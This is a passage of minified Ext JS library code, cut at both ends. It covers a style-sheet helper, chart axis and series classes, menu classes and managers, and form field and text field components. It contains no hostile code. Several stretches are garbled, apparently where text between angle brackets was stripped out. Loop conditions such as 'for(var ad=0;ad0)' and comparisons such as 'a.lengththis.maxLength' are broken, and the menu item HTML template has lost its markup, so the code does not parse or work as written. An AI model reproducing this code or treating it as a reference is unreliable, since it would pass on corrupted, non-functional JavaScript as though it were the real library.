Z=(af&&typeof af=="string")?af:"screen";if(ad){p=null;I=null}if(!p||I!=Z){var ab=E("style");ab.setAttribute("type","text/css");ab.setAttribute("media",Z);p=ac.appendChild(ab);if(O.ie&&O.win&&typeof l.styleSheets!=F&&l.styleSheets.length>0){p=l.styleSheets[l.styleSheets.length-1]}I=Z}if(O.ie&&O.win){if(p&&typeof p.addRule==t){p.addRule(ae,aa)}}else{if(p&&typeof l.createTextNode!=F){p.appendChild(l.createTextNode(ae+" {"+aa+"}"))}}}function y(ab,Z){if(!o){return}var aa=Z?"visible":"hidden";if(L&&c(ab)){c(ab).style.visibility=aa}else{x("#"+ab,"visibility:"+aa)}}function N(aa){var ab=/[\\\"<>\.;]/;var Z=ab.exec(aa)!=null;return Z&&typeof encodeURIComponent!=F?encodeURIComponent(aa):aa}var d=function(){if(O.ie&&O.win){window.attachEvent("onunload",function(){var ae=K.length;for(var ad=0;ad0){for(h=0;h-1&&e.position=="left"){e.position="bottom"}return e},onDestroy:function(){Ext.chart.CartesianChart.superclass.onDestroy.call(this);Ext.each(this.labelFn,function(a){this.removeFnProxy(a)},this)}});Ext.reg("cartesianchart",Ext.chart.CartesianChart);Ext.chart.LineChart=Ext.extend(Ext.chart.CartesianChart,{type:"line"});Ext.reg("linechart",Ext.chart.LineChart);Ext.chart.ColumnChart=Ext.extend(Ext.chart.CartesianChart,{type:"column"});Ext.reg("columnchart",Ext.chart.ColumnChart);Ext.chart.StackedColumnChart=Ext.extend(Ext.chart.CartesianChart,{type:"stackcolumn"});Ext.reg("stackedcolumnchart",Ext.chart.StackedColumnChart);Ext.chart.BarChart=Ext.extend(Ext.chart.CartesianChart,{type:"bar"});Ext.reg("barchart",Ext.chart.BarChart);Ext.chart.StackedBarChart=Ext.extend(Ext.chart.CartesianChart,{type:"stackbar"});Ext.reg("stackedbarchart",Ext.chart.StackedBarChart);Ext.chart.Axis=function(a){Ext.apply(this,a)};Ext.chart.Axis.prototype={type:null,orientation:"horizontal",reverse:false,labelFunction:null,hideOverlappingLabels:true,labelSpacing:2};Ext.chart.NumericAxis=Ext.extend(Ext.chart.Axis,{type:"numeric",minimum:NaN,maximum:NaN,majorUnit:NaN,minorUnit:NaN,snapToUnits:true,alwaysShowZero:true,scale:"linear",roundMajorUnit:true,calculateByLabelSize:true,position:"left",adjustMaximumByMajorUnit:true,adjustMinimumByMajorUnit:true});Ext.chart.TimeAxis=Ext.extend(Ext.chart.Axis,{type:"time",minimum:null,maximum:null,majorUnit:NaN,majorTimeUnit:null,minorUnit:NaN,minorTimeUnit:null,snapToUnits:true,stackingEnabled:false,calculateByLabelSize:true});Ext.chart.CategoryAxis=Ext.extend(Ext.chart.Axis,{type:"category",categoryNames:null,calculateCategoryCount:false});Ext.chart.Series=function(a){Ext.apply(this,a)};Ext.chart.Series.prototype={type:null,displayName:null};Ext.chart.CartesianSeries=Ext.extend(Ext.chart.Series,{xField:null,yField:null,showInLegend:true,axis:"primary"});Ext.chart.ColumnSeries=Ext.extend(Ext.chart.CartesianSeries,{type:"column"});Ext.chart.LineSeries=Ext.extend(Ext.chart.CartesianSeries,{type:"line"});Ext.chart.BarSeries=Ext.extend(Ext.chart.CartesianSeries,{type:"bar"});Ext.chart.PieSeries=Ext.extend(Ext.chart.Series,{type:"pie",dataField:null,categoryField:null});Ext.menu.Menu=Ext.extend(Ext.Container,{minWidth:120,shadow:"sides",subMenuAlign:"tl-tr?",defaultAlign:"tl-bl?",allowOtherMenus:false,ignoreParentClicks:false,enableScrolling:true,maxHeight:null,scrollIncrement:24,showSeparator:true,defaultOffsets:[0,0],plain:false,floating:true,zIndex:15000,hidden:true,layout:"menu",hideMode:"offsets",scrollerHeight:8,autoLayout:true,defaultType:"menuitem",bufferResize:false,initComponent:function(){if(Ext.isArray(this.initialConfig)){Ext.apply(this,{items:this.initialConfig})}this.addEvents("click","mouseover","mouseout","itemclick");Ext.menu.MenuMgr.register(this);if(this.floating){Ext.EventManager.onWindowResize(this.hide,this)}else{if(this.initialConfig.hidden!==false){this.hidden=false}this.internalDefaults={hideOnClick:false}}Ext.menu.Menu.superclass.initComponent.call(this);if(this.autoLayout){var a=this.doLayout.createDelegate(this,[]);this.on({add:a,remove:a})}},getLayoutTarget:function(){return this.ul},onRender:function(b,a){if(!b){b=Ext.getBody()}var c={id:this.getId(),cls:"x-menu "+((this.floating)?"x-menu-floating x-layer ":"")+(this.cls||"")+(this.plain?" x-menu-plain":"")+(this.showSeparator?"":" x-menu-nosep"),style:this.style,cn:[{tag:"a",cls:"x-menu-focus",href:"#",onclick:"return false;",tabIndex:"-1"},{tag:"ul",cls:"x-menu-list"}]};if(this.floating){this.el=new Ext.Layer({shadow:this.shadow,dh:c,constrain:false,parentEl:b,zindex:this.zIndex})}else{this.el=b.createChild(c)}Ext.menu.Menu.superclass.onRender.call(this,b,a);if(!this.keyNav){this.keyNav=new Ext.menu.MenuNav(this)}this.focusEl=this.el.child("a.x-menu-focus");this.ul=this.el.child("ul.x-menu-list");this.mon(this.ul,{scope:this,click:this.onClick,mouseover:this.onMouseOver,mouseout:this.onMouseOut});if(this.enableScrolling){this.mon(this.el,{scope:this,delegate:".x-menu-scroller",click:this.onScroll,mouseover:this.deactivateActive})}},findTargetItem:function(b){var a=b.getTarget(".x-menu-list-item",this.ul,true);if(a&&a.menuItemId){return this.items.get(a.menuItemId)}},onClick:function(b){var a=this.findTargetItem(b);if(a){if(a.isFormField){this.setActiveItem(a)}else{if(a instanceof Ext.menu.BaseItem){if(a.menu&&this.ignoreParentClicks){a.expandMenu();b.preventDefault()}else{if(a.onClick){a.onClick(b);this.fireEvent("click",this,a,b)}}}}}},setActiveItem:function(a,b){if(a!=this.activeItem){this.deactivateActive();if((this.activeItem=a).isFormField){a.focus()}else{a.activate(b)}}else{if(b){a.expandMenu()}}},deactivateActive:function(){var b=this.activeItem;if(b){if(b.isFormField){if(b.collapse){b.collapse()}}else{b.deactivate()}delete this.activeItem}},tryActivate:function(g,e){var b=this.items;for(var c=g,a=b.length;c>=0&&c=a.scrollHeight){this.onScrollerOut(null,b)}},onScrollerIn:function(d,b){var a=this.ul.dom,c=Ext.fly(b).is(".x-menu-scroller-top");if(c?a.scrollTop>0:a.scrollTop+this.activeMaxc){b=c;a=i-h}else{if(bb&&b>0){this.activeMax=b-this.scrollerHeight*2-this.el.getFrameWidth("tb")-Ext.num(this.el.shadowOffset,0);this.ul.setHeight(this.activeMax);this.createScrollers();this.el.select(".x-menu-scroller").setDisplayed("")}else{this.ul.setHeight(d);this.el.select(".x-menu-scroller").setDisplayed("none")}this.ul.dom.scrollTop=0;return a},createScrollers:function(){if(!this.scroller){this.scroller={pos:0,top:this.el.insertFirst({tag:"div",cls:"x-menu-scroller x-menu-scroller-top",html:" "}),bottom:this.el.createChild({tag:"div",cls:"x-menu-scroller x-menu-scroller-bottom",html:" "})};this.scroller.top.hover(this.onScrollerIn,this.onScrollerOut,this);this.scroller.topRepeater=new Ext.util.ClickRepeater(this.scroller.top,{listeners:{click:this.onScroll.createDelegate(this,[null,this.scroller.top],false)}});this.scroller.bottom.hover(this.onScrollerIn,this.onScrollerOut,this);this.scroller.bottomRepeater=new Ext.util.ClickRepeater(this.scroller.bottom,{listeners:{click:this.onScroll.createDelegate(this,[null,this.scroller.bottom],false)}})}},onLayout:function(){if(this.isVisible()){if(this.enableScrolling){this.constrainScroll(this.el.getTop())}if(this.floating){this.el.sync()}}},focus:function(){if(!this.hidden){this.doFocus.defer(50,this)}},doFocus:function(){if(!this.hidden){this.focusEl.focus()}},hide:function(a){if(!this.isDestroyed){this.deepHide=a;Ext.menu.Menu.superclass.hide.call(this);delete this.deepHide}},onHide:function(){Ext.menu.Menu.superclass.onHide.call(this);this.deactivateActive();if(this.el&&this.floating){this.el.hide()}var a=this.parentMenu;if(this.deepHide===true&&a){if(a.floating){a.hide(true)}else{a.deactivateActive()}}},lookupComponent:function(a){if(Ext.isString(a)){a=(a=="separator"||a=="-")?new Ext.menu.Separator():new Ext.menu.TextItem(a);this.applyDefaults(a)}else{if(Ext.isObject(a)){a=this.getMenuItem(a)}else{if(a.tagName||a.el){a=new Ext.BoxComponent({el:a})}}}return a},applyDefaults:function(b){if(!Ext.isString(b)){b=Ext.menu.Menu.superclass.applyDefaults.call(this,b);var a=this.internalDefaults;if(a){if(b.events){Ext.applyIf(b.initialConfig,a);Ext.apply(b,a)}else{Ext.applyIf(b,a)}}}return b},getMenuItem:function(a){if(!a.isXType){if(!a.xtype&&Ext.isBoolean(a.checked)){return new Ext.menu.CheckItem(a)}return Ext.create(a,this.defaultType)}return a},addSeparator:function(){return this.add(new Ext.menu.Separator())},addElement:function(a){return this.add(new Ext.menu.BaseItem({el:a}))},addItem:function(a){return this.add(a)},addMenuItem:function(a){return this.add(this.getMenuItem(a))},addText:function(a){return this.add(new Ext.menu.TextItem(a))},onDestroy:function(){Ext.EventManager.removeResizeListener(this.hide,this);var a=this.parentMenu;if(a&&a.activeChild==this){delete a.activeChild}delete this.parentMenu;Ext.menu.Menu.superclass.onDestroy.call(this);Ext.menu.MenuMgr.unregister(this);if(this.keyNav){this.keyNav.disable()}var b=this.scroller;if(b){Ext.destroy(b.topRepeater,b.bottomRepeater,b.top,b.bottom)}Ext.destroy(this.el,this.focusEl,this.ul)}});Ext.reg("menu",Ext.menu.Menu);Ext.menu.MenuNav=Ext.extend(Ext.KeyNav,function(){function a(d,c){if(!c.tryActivate(c.items.indexOf(c.activeItem)-1,-1)){c.tryActivate(c.items.length-1,-1)}}function b(d,c){if(!c.tryActivate(c.items.indexOf(c.activeItem)+1,1)){c.tryActivate(0,1)}}return{constructor:function(c){Ext.menu.MenuNav.superclass.constructor.call(this,c.el);this.scope=this.menu=c},doRelay:function(g,d){var c=g.getKey();if(this.menu.activeItem&&this.menu.activeItem.isFormField&&c!=g.TAB){return false}if(!this.menu.activeItem&&g.isNavKeyPress()&&c!=g.SPACE&&c!=g.RETURN){this.menu.tryActivate(0,1);return false}return d.call(this.scope||this,g,this.menu)},tab:function(d,c){d.stopEvent();if(d.shiftKey){a(d,c)}else{b(d,c)}},up:a,down:b,right:function(d,c){if(c.activeItem){c.activeItem.expandMenu(true)}},left:function(d,c){c.hide();if(c.parentMenu&&c.parentMenu.activeItem){c.parentMenu.activeItem.activate()}},enter:function(d,c){if(c.activeItem){d.stopPropagation();c.activeItem.onClick(d);c.fireEvent("click",this,c.activeItem);return true}}}}());Ext.menu.MenuMgr=function(){var g,d,c={},a=false,l=new Date();function n(){g={};d=new Ext.util.MixedCollection();Ext.getDoc().addKeyListener(27,function(){if(d.length>0){i()}})}function i(){if(d&&d.length>0){var o=d.clone();o.each(function(p){p.hide()});return true}return false}function e(o){d.remove(o);if(d.length<1){Ext.getDoc().un("mousedown",m);a=false}}function k(o){var p=d.last();l=new Date();d.add(o);if(!a){Ext.getDoc().on("mousedown",m);a=true}if(o.parentMenu){o.getEl().setZIndex(parseInt(o.parentMenu.getEl().getStyle("z-index"),10)+3);o.parentMenu.activeChild=o}else{if(p&&!p.isDestroyed&&p.isVisible()){o.getEl().setZIndex(parseInt(p.getEl().getStyle("z-index"),10)+3)}}}function b(o){if(o.activeChild){o.activeChild.hide()}if(o.autoHideTimer){clearTimeout(o.autoHideTimer);delete o.autoHideTimer}}function h(o){var p=o.parentMenu;if(!p&&!o.allowOtherMenus){i()}else{if(p&&p.activeChild){p.activeChild.hide()}}}function m(o){if(l.getElapsed()>50&&d.length>0&&!o.getTarget(".x-menu")){i()}}return{hideAll:function(){return i()},register:function(o){if(!g){n()}g[o.id]=o;o.on({beforehide:b,hide:e,beforeshow:h,show:k})},get:function(o){if(typeof o=="string"){if(!g){return null}return g[o]}else{if(o.events){return o}else{if(typeof o.length=="number"){return new Ext.menu.Menu({items:o})}else{return Ext.create(o,"menu")}}}},unregister:function(o){delete g[o.id];o.un("beforehide",b);o.un("hide",e);o.un("beforeshow",h);o.un("show",k)},registerCheckable:function(o){var p=o.group;if(p){if(!c[p]){c[p]=[]}c[p].push(o)}},unregisterCheckable:function(o){var p=o.group;if(p){c[p].remove(o)}},onCheckChange:function(q,r){if(q.group&&r){var t=c[q.group],p=0,o=t.length,s;for(;p',' target="{hrefTarget}"',"",">",'{altText}','{text}',"")}var c=this.getTemplateArgs();this.el=b?this.itemTpl.insertBefore(b,c,true):this.itemTpl.append(d,c,true);this.iconEl=this.el.child("img.x-menu-item-icon");this.textEl=this.el.child(".x-menu-item-text");if(!this.href){this.mon(this.el,"click",Ext.emptyFn,null,{preventDefault:true})}Ext.menu.Item.superclass.onRender.call(this,d,b)},getTemplateArgs:function(){return{id:this.id,cls:this.itemCls+(this.menu?" x-menu-item-arrow":"")+(this.cls?" "+this.cls:""),href:this.href||"#",hrefTarget:this.hrefTarget,icon:this.icon||Ext.BLANK_IMAGE_URL,iconCls:this.iconCls||"",text:this.itemText||this.text||" ",altText:this.altText||""}},setText:function(a){this.text=a||" ";if(this.rendered){this.textEl.update(this.text);this.parentMenu.layout.doAutoSize()}},setIconClass:function(a){var b=this.iconCls;this.iconCls=a;if(this.rendered){this.iconEl.replaceClass(b,this.iconCls)}},beforeDestroy:function(){if(this.menu){delete this.menu.ownerCt;this.menu.destroy()}Ext.menu.Item.superclass.beforeDestroy.call(this)},handleClick:function(a){if(!this.href){a.stopEvent()}Ext.menu.Item.superclass.handleClick.apply(this,arguments)},activate:function(a){if(Ext.menu.Item.superclass.activate.apply(this,arguments)){this.focus();if(a){this.expandMenu()}}return true},shouldDeactivate:function(a){if(Ext.menu.Item.superclass.shouldDeactivate.call(this,a)){if(this.menu&&this.menu.isVisible()){return !this.menu.getEl().getRegion().contains(a.getPoint())}return true}return false},deactivate:function(){Ext.menu.Item.superclass.deactivate.apply(this,arguments);this.hideMenu()},expandMenu:function(a){if(!this.disabled&&this.menu){clearTimeout(this.hideTimer);delete this.hideTimer;if(!this.menu.isVisible()&&!this.showTimer){this.showTimer=this.deferExpand.defer(this.showDelay,this,[a])}else{if(this.menu.isVisible()&&a){this.menu.tryActivate(0,1)}}}},deferExpand:function(a){delete this.showTimer;this.menu.show(this.container,this.parentMenu.subMenuAlign||"tl-tr?",this.parentMenu);if(a){this.menu.tryActivate(0,1)}},hideMenu:function(){clearTimeout(this.showTimer);delete this.showTimer;if(!this.hideTimer&&this.menu&&this.menu.isVisible()){this.hideTimer=this.deferHide.defer(this.hideDelay,this)}},deferHide:function(){delete this.hideTimer;if(this.menu.over){this.parentMenu.setActiveItem(this,false)}else{this.menu.hide()}}});Ext.reg("menuitem",Ext.menu.Item);Ext.menu.CheckItem=Ext.extend(Ext.menu.Item,{itemCls:"x-menu-item x-menu-check-item",groupClass:"x-menu-group-item",checked:false,ctype:"Ext.menu.CheckItem",initComponent:function(){Ext.menu.CheckItem.superclass.initComponent.call(this);this.addEvents("beforecheckchange","checkchange");if(this.checkHandler){this.on("checkchange",this.checkHandler,this.scope)}Ext.menu.MenuMgr.registerCheckable(this)},onRender:function(a){Ext.menu.CheckItem.superclass.onRender.apply(this,arguments);if(this.group){this.el.addClass(this.groupClass)}if(this.checked){this.checked=false;this.setChecked(true,true)}},destroy:function(){Ext.menu.MenuMgr.unregisterCheckable(this);Ext.menu.CheckItem.superclass.destroy.apply(this,arguments)},setChecked:function(b,a){var c=a===true;if(this.checked!=b&&(c||this.fireEvent("beforecheckchange",this,b)!==false)){Ext.menu.MenuMgr.onCheckChange(this,b);if(this.container){this.container[b?"addClass":"removeClass"]("x-menu-item-checked")}this.checked=b;if(!c){this.fireEvent("checkchange",this,b)}}},handleClick:function(a){if(!this.disabled&&!(this.checked&&this.group)){this.setChecked(!this.checked)}Ext.menu.CheckItem.superclass.handleClick.apply(this,arguments)}});Ext.reg("menucheckitem",Ext.menu.CheckItem);Ext.menu.DateMenu=Ext.extend(Ext.menu.Menu,{enableScrolling:false,hideOnClick:true,pickerId:null,cls:"x-date-menu",initComponent:function(){this.on("beforeshow",this.onBeforeShow,this);if(this.strict=(Ext.isIE7&&Ext.isStrict)){this.on("show",this.onShow,this,{single:true,delay:20})}Ext.apply(this,{plain:true,showSeparator:false,items:this.picker=new Ext.DatePicker(Ext.applyIf({internalRender:this.strict||!Ext.isIE,ctCls:"x-menu-date-item",id:this.pickerId},this.initialConfig))});this.picker.purgeListeners();Ext.menu.DateMenu.superclass.initComponent.call(this);this.relayEvents(this.picker,["select"]);this.on("show",this.picker.focus,this.picker);this.on("select",this.menuHide,this);if(this.handler){this.on("select",this.handler,this.scope||this)}},menuHide:function(){if(this.hideOnClick){this.hide(true)}},onBeforeShow:function(){if(this.picker){this.picker.hideMonthPicker(true)}},onShow:function(){var a=this.picker.getEl();a.setWidth(a.getWidth())}});Ext.reg("datemenu",Ext.menu.DateMenu);Ext.menu.ColorMenu=Ext.extend(Ext.menu.Menu,{enableScrolling:false,hideOnClick:true,cls:"x-color-menu",paletteId:null,initComponent:function(){Ext.apply(this,{plain:true,showSeparator:false,items:this.palette=new Ext.ColorPalette(Ext.applyIf({id:this.paletteId},this.initialConfig))});this.palette.purgeListeners();Ext.menu.ColorMenu.superclass.initComponent.call(this);this.relayEvents(this.palette,["select"]);this.on("select",this.menuHide,this);if(this.handler){this.on("select",this.handler,this.scope||this)}},menuHide:function(){if(this.hideOnClick){this.hide(true)}}});Ext.reg("colormenu",Ext.menu.ColorMenu);Ext.form.Field=Ext.extend(Ext.BoxComponent,{invalidClass:"x-form-invalid",invalidText:"The value in this field is invalid",focusClass:"x-form-focus",validationEvent:"keyup",validateOnBlur:true,validationDelay:250,defaultAutoCreate:{tag:"input",type:"text",size:"20",autocomplete:"off"},fieldClass:"x-form-field",msgTarget:"qtip",msgFx:"normal",readOnly:false,disabled:false,submitValue:true,isFormField:true,msgDisplay:"",hasFocus:false,initComponent:function(){Ext.form.Field.superclass.initComponent.call(this);this.addEvents("focus","blur","specialkey","change","invalid","valid")},getName:function(){return this.rendered&&this.el.dom.name?this.el.dom.name:this.name||this.id||""},onRender:function(c,a){if(!this.el){var b=this.getAutoCreate();if(!b.name){b.name=this.name||this.id}if(this.inputType){b.type=this.inputType}this.autoEl=b}Ext.form.Field.superclass.onRender.call(this,c,a);if(this.submitValue===false){this.el.dom.removeAttribute("name")}var d=this.el.dom.type;if(d){if(d=="password"){d="text"}this.el.addClass("x-form-"+d)}if(this.readOnly){this.setReadOnly(true)}if(this.tabIndex!==undefined){this.el.dom.setAttribute("tabIndex",this.tabIndex)}this.el.addClass([this.fieldClass,this.cls])},getItemCt:function(){return this.itemCt},initValue:function(){if(this.value!==undefined){this.setValue(this.value)}else{if(!Ext.isEmpty(this.el.dom.value)&&this.el.dom.value!=this.emptyText){this.setValue(this.el.dom.value)}}this.originalValue=this.getValue()},isDirty:function(){if(this.disabled||!this.rendered){return false}return String(this.getValue())!==String(this.originalValue)},setReadOnly:function(a){if(this.rendered){this.el.dom.readOnly=a}this.readOnly=a},afterRender:function(){Ext.form.Field.superclass.afterRender.call(this);this.initEvents();this.initValue()},fireKey:function(a){if(a.isSpecialKey()){this.fireEvent("specialkey",this,a)}},reset:function(){this.setValue(this.originalValue);this.clearInvalid()},initEvents:function(){this.mon(this.el,Ext.EventManager.getKeyEvent(),this.fireKey,this);this.mon(this.el,"focus",this.onFocus,this);this.mon(this.el,"blur",this.onBlur,this,this.inEditor?{buffer:10}:null)},preFocus:Ext.emptyFn,onFocus:function(){this.preFocus();if(this.focusClass){this.el.addClass(this.focusClass)}if(!this.hasFocus){this.hasFocus=true;this.startValue=this.getValue();this.fireEvent("focus",this)}},beforeBlur:Ext.emptyFn,onBlur:function(){this.beforeBlur();if(this.focusClass){this.el.removeClass(this.focusClass)}this.hasFocus=false;if(this.validationEvent!==false&&(this.validateOnBlur||this.validationEvent=="blur")){this.validate()}var a=this.getValue();if(String(a)!==String(this.startValue)){this.fireEvent("change",this,a,this.startValue)}this.fireEvent("blur",this);this.postBlur()},postBlur:Ext.emptyFn,isValid:function(a){if(this.disabled){return true}var c=this.preventMark;this.preventMark=a===true;var b=this.validateValue(this.processValue(this.getRawValue()));this.preventMark=c;return b},validate:function(){if(this.disabled||this.validateValue(this.processValue(this.getRawValue()))){this.clearInvalid();return true}return false},processValue:function(a){return a},validateValue:function(b){var a=this.getErrors(b)[0];if(a==undefined){return true}else{this.markInvalid(a);return false}},getErrors:function(){return[]},getActiveError:function(){return this.activeError||""},markInvalid:function(c){if(this.rendered&&!this.preventMark){c=c||this.invalidText;var a=this.getMessageHandler();if(a){a.mark(this,c)}else{if(this.msgTarget){this.el.addClass(this.invalidClass);var b=Ext.getDom(this.msgTarget);if(b){b.innerHTML=c;b.style.display=this.msgDisplay}}}}this.setActiveError(c)},clearInvalid:function(){if(this.rendered&&!this.preventMark){this.el.removeClass(this.invalidClass);var a=this.getMessageHandler();if(a){a.clear(this)}else{if(this.msgTarget){this.el.removeClass(this.invalidClass);var b=Ext.getDom(this.msgTarget);if(b){b.innerHTML="";b.style.display="none"}}}}this.unsetActiveError()},setActiveError:function(b,a){this.activeError=b;if(a!==true){this.fireEvent("invalid",this,b)}},unsetActiveError:function(a){delete this.activeError;if(a!==true){this.fireEvent("valid",this)}},getMessageHandler:function(){return Ext.form.MessageTargets[this.msgTarget]},getErrorCt:function(){return this.el.findParent(".x-form-element",5,true)||this.el.findParent(".x-form-field-wrap",5,true)},alignErrorEl:function(){this.errorEl.setWidth(this.getErrorCt().getWidth(true)-20)},alignErrorIcon:function(){this.errorIcon.alignTo(this.el,"tl-tr",[2,0])},getRawValue:function(){var a=this.rendered?this.el.getValue():Ext.value(this.value,"");if(a===this.emptyText){a=""}return a},getValue:function(){if(!this.rendered){return this.value}var a=this.el.getValue();if(a===this.emptyText||a===undefined){a=""}return a},setRawValue:function(a){return this.rendered?(this.el.dom.value=(Ext.isEmpty(a)?"":a)):""},setValue:function(a){this.value=a;if(this.rendered){this.el.dom.value=(Ext.isEmpty(a)?"":a);this.validate()}return this},append:function(a){this.setValue([this.getValue(),a].join(""))}});Ext.form.MessageTargets={qtip:{mark:function(a,b){a.el.addClass(a.invalidClass);a.el.dom.qtip=b;a.el.dom.qclass="x-form-invalid-tip";if(Ext.QuickTips){Ext.QuickTips.enable()}},clear:function(a){a.el.removeClass(a.invalidClass);a.el.dom.qtip=""}},title:{mark:function(a,b){a.el.addClass(a.invalidClass);a.el.dom.title=b},clear:function(a){a.el.dom.title=""}},under:{mark:function(b,c){b.el.addClass(b.invalidClass);if(!b.errorEl){var a=b.getErrorCt();if(!a){b.el.dom.title=c;return}b.errorEl=a.createChild({cls:"x-form-invalid-msg"});b.on("resize",b.alignErrorEl,b);b.on("destroy",function(){Ext.destroy(this.errorEl)},b)}b.alignErrorEl();b.errorEl.update(c);Ext.form.Field.msgFx[b.msgFx].show(b.errorEl,b)},clear:function(a){a.el.removeClass(a.invalidClass);if(a.errorEl){Ext.form.Field.msgFx[a.msgFx].hide(a.errorEl,a)}else{a.el.dom.title=""}}},side:{mark:function(b,c){b.el.addClass(b.invalidClass);if(!b.errorIcon){var a=b.getErrorCt();if(!a){b.el.dom.title=c;return}b.errorIcon=a.createChild({cls:"x-form-invalid-icon"});if(b.ownerCt){b.ownerCt.on("afterlayout",b.alignErrorIcon,b);b.ownerCt.on("expand",b.alignErrorIcon,b)}b.on("resize",b.alignErrorIcon,b);b.on("destroy",function(){Ext.destroy(this.errorIcon)},b)}b.alignErrorIcon();b.errorIcon.dom.qtip=c;b.errorIcon.dom.qclass="x-form-invalid-tip";b.errorIcon.show()},clear:function(a){a.el.removeClass(a.invalidClass);if(a.errorIcon){a.errorIcon.dom.qtip="";a.errorIcon.hide()}else{a.el.dom.title=""}}}};Ext.form.Field.msgFx={normal:{show:function(a,b){a.setDisplayed("block")},hide:function(a,b){a.setDisplayed(false).update("")}},slide:{show:function(a,b){a.slideIn("t",{stopFx:true})},hide:function(a,b){a.slideOut("t",{stopFx:true,useDisplay:true})}},slideRight:{show:function(a,b){a.fixDisplay();a.alignTo(b.el,"tl-tr");a.slideIn("l",{stopFx:true})},hide:function(a,b){a.slideOut("l",{stopFx:true,useDisplay:true})}}};Ext.reg("field",Ext.form.Field);Ext.form.TextField=Ext.extend(Ext.form.Field,{grow:false,growMin:30,growMax:800,vtype:null,maskRe:null,disableKeyFilter:false,allowBlank:true,minLength:0,maxLength:Number.MAX_VALUE,minLengthText:"The minimum length for this field is {0}",maxLengthText:"The maximum length for this field is {0}",selectOnFocus:false,blankText:"This field is required",validator:null,regex:null,regexText:"",emptyText:null,emptyClass:"x-form-empty-field",initComponent:function(){Ext.form.TextField.superclass.initComponent.call(this);this.addEvents("autosize","keydown","keyup","keypress")},initEvents:function(){Ext.form.TextField.superclass.initEvents.call(this);if(this.validationEvent=="keyup"){this.validationTask=new Ext.util.DelayedTask(this.validate,this);this.mon(this.el,"keyup",this.filterValidation,this)}else{if(this.validationEvent!==false&&this.validationEvent!="blur"){this.mon(this.el,this.validationEvent,this.validate,this,{buffer:this.validationDelay})}}if(this.selectOnFocus||this.emptyText){this.mon(this.el,"mousedown",this.onMouseDown,this);if(this.emptyText){this.applyEmptyText()}}if(this.maskRe||(this.vtype&&this.disableKeyFilter!==true&&(this.maskRe=Ext.form.VTypes[this.vtype+"Mask"]))){this.mon(this.el,"keypress",this.filterKeys,this)}if(this.grow){this.mon(this.el,"keyup",this.onKeyUpBuffered,this,{buffer:50});this.mon(this.el,"click",this.autoSize,this)}if(this.enableKeyEvents){this.mon(this.el,{scope:this,keyup:this.onKeyUp,keydown:this.onKeyDown,keypress:this.onKeyPress})}},onMouseDown:function(a){if(!this.hasFocus){this.mon(this.el,"mouseup",Ext.emptyFn,this,{single:true,preventDefault:true})}},processValue:function(a){if(this.stripCharsRe){var b=a.replace(this.stripCharsRe,"");if(b!==a){this.setRawValue(b);return b}}return a},filterValidation:function(a){if(!a.isNavKeyPress()){this.validationTask.delay(this.validationDelay)}},onDisable:function(){Ext.form.TextField.superclass.onDisable.call(this);if(Ext.isIE){this.el.dom.unselectable="on"}},onEnable:function(){Ext.form.TextField.superclass.onEnable.call(this);if(Ext.isIE){this.el.dom.unselectable=""}},onKeyUpBuffered:function(a){if(this.doAutoSize(a)){this.autoSize()}},doAutoSize:function(a){return !a.isNavKeyPress()},onKeyUp:function(a){this.fireEvent("keyup",this,a)},onKeyDown:function(a){this.fireEvent("keydown",this,a)},onKeyPress:function(a){this.fireEvent("keypress",this,a)},reset:function(){Ext.form.TextField.superclass.reset.call(this);this.applyEmptyText()},applyEmptyText:function(){if(this.rendered&&this.emptyText&&this.getRawValue().length<1&&!this.hasFocus){this.setRawValue(this.emptyText);this.el.addClass(this.emptyClass)}},preFocus:function(){var a=this.el,b;if(this.emptyText){if(a.dom.value==this.emptyText){this.setRawValue("");b=true}a.removeClass(this.emptyClass)}if(this.selectOnFocus||b){a.dom.select()}},postBlur:function(){this.applyEmptyText()},filterKeys:function(b){if(b.ctrlKey){return}var a=b.getKey();if(Ext.isGecko&&(b.isNavKeyPress()||a==b.BACKSPACE||(a==b.DELETE&&b.button==-1))){return}var c=String.fromCharCode(b.getCharCode());if(!Ext.isGecko&&b.isSpecialKey()&&!c){return}if(!this.maskRe.test(c)){b.stopEvent()}},setValue:function(a){if(this.emptyText&&this.el&&!Ext.isEmpty(a)){this.el.removeClass(this.emptyClass)}Ext.form.TextField.superclass.setValue.apply(this,arguments);this.applyEmptyText();this.autoSize();return this},getErrors:function(a){var d=Ext.form.TextField.superclass.getErrors.apply(this,arguments);a=Ext.isDefined(a)?a:this.processValue(this.getRawValue());if(Ext.isFunction(this.validator)){var c=this.validator(a);if(c!==true){d.push(c)}}if(a.length<1||a===this.emptyText){if(this.allowBlank){return d}else{d.push(this.blankText)}}if(!this.allowBlank&&(a.length<1||a===this.emptyText)){d.push(this.blankText)}if(a.lengththis.maxLength){d.push(String.format(this.maxLengthText,this.maxLength))}if(this.vtype){var b=Ext.form.VTypes;if(!b[this.vtype](a,this)){d.push(this.vtypeText||b[this.vtype+"Text"])}}if(this.regex&&!this.regex.test(a)){d.push(this.regexText)}return d},selectText:function(h,a){var c=this.getRawValue();var e=false;if(c.length>0){h=h===undefined?0:h;a=a===undefined?c.length:a;var g=this.el.dom;if(g.setSelectionRange){g.setSelectionRange(h,a)}else{if(g.createTextRange){var b=g.createTextRange();b.moveStart("character",h);b.moveEnd("character",a-c.length);b.select()}}e=Ext.isGecko||Ext.isOpera}else{e=true}if(e){this.focus()}},autoSize:function(){if(!this.grow||!this.rendered){return}if(!this.metrics){this.metrics=Ext.util.TextMetrics.createInstance(this.el)}var c=this.el;var b=c.dom.value;var e=document.createElement("div");e.appendChild(document.createTextNode(b));b=e.innerHTML;Ext.removeNode(e);e=null;b+=" ";var a=Math.min(this.growMax,Math.max(this.metrics.getWidth(b)+10,this.growMin));this.el.setWidth(a);this.fireEvent("autosize",this,a)},onDestroy:function(){if(this.validationTask){this.validationTask.cancel();this.validationTask=null}Ext.form.TextField.superclass.onDestroy.call(this)}});Ext.reg("textfield",Ext.form.TextField);Ext.form.TriggerField=Ext.extend(Ext.form.TextField,{defaultAutoCreate:{tag:"input",type:"text",size:"16",autocomplete:"off"},hideTrigger:false,editable:true,readOnly:false,wrapFocusClass:"x-trigger-wrap-focus",autoSize:Ext.emptyFn,monitorTab:true,deferHeight:true,mimicing:false,actionMode:"wrap",defaultTriggerWidth:17,onResize:function(a,c){Ext.form.TriggerField.superclass.onResize.call(this,a,c);var b=this.getTriggerWidth();if(Ext.isNumber(a)){this.el.setWidth(a-b)}this.wrap.setWidth(this.el.getWidth()+b)},getTriggerWidth:function(){var a=this.trigger.getWidth();if(!this.hideTrigger&&!this.readOnly&&a===0){a=this.defaultTriggerWidth}return 